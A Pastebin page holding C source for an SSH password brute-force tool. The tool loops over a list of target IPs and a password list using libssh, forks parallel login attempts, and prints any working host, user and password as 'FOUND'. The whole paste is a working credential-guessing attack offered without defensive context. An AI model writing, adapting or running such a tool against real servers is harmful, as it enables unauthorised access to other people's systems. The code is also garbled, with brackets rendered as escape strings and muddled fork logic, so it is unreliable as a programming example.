Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <libssh/libssh.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <unistd.h>
- int main(int argc, char **argv)
- {
- ssh_session sess = NULL;
- FILE *ipfp, *passfp;
- char *user = NULL;
- char pass***91;256***93;, host***91;256***93;;
- int maxthreads = 0, threads = 0;
- if(argc != 5) {
- printf("Usage: %s <user> <iplist.txt> <pwlist.txt> <threads>\n", argv***91;0***93;);
- exit(-1);
- }
- user = strdup(argv***91;1***93;);
- ipfp = fopen(argv***91;2***93;, "r");
- if(ipfp == NULL) {
- printf("Invalid ip list\n");
- exit(-1);
- }
- passfp = fopen(argv***91;3***93;, "r");
- if(passfp == NULL) {
- printf("Invalid pass list\n");
- exit(-1);
- }
- maxthreads = atoi(argv***91;4***93;);
- sess = ssh_new();
- if(sess == NULL) {
- printf("Unable to create libssh session\n");
- exit(-1);
- }
- ssh_options_set(sess, SSH_OPTIONS_PORT_STR, "22");
- ssh_options_set(sess, SSH_OPTIONS_USER, user);
- while(!feof(ipfp)) {
- if(!fgets(host, sizeof(host) - 1, ipfp))
- continue;
- *strchr(host, '\n') = '\0';
- ssh_options_set(sess, SSH_OPTIONS_HOST, host);
- fseek(passfp, 0, SEEK_SET);
- while(!feof(passfp)) {
- if(!fgets(pass, sizeof(pass) - 1, passfp))
- continue;
- *strchr(pass, '\n') = '\0';
- while(threads > maxthreads) {
- wait(NULL);
- threads--;
- }
- threads++;
- usleep(500000);
- if(fork()) {
- if(ssh_connect(sess) != SSH_OK) {
- printf("%s\n", ssh_get_error(sess));
- exit(0);
- }
- if(ssh_userauth_password(sess, NULL, pass) == SSH_AUTH_SUCCESS) {
- printf("FOUND: %s - %s:%s\n", host, user, pass);
- ssh_disconnect(sess);
- exit(0);
- } else {
- printf("ERROR: %s - %s:%s\n", host, user, pass);
- ssh_disconnect(sess);
- exit(0);
- }
- }
- }
- }
- while(wait(NULL) >= 0);
- free(user);
- fclose(ipfp);
- fclose(passfp);
- ssh_free(sess);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement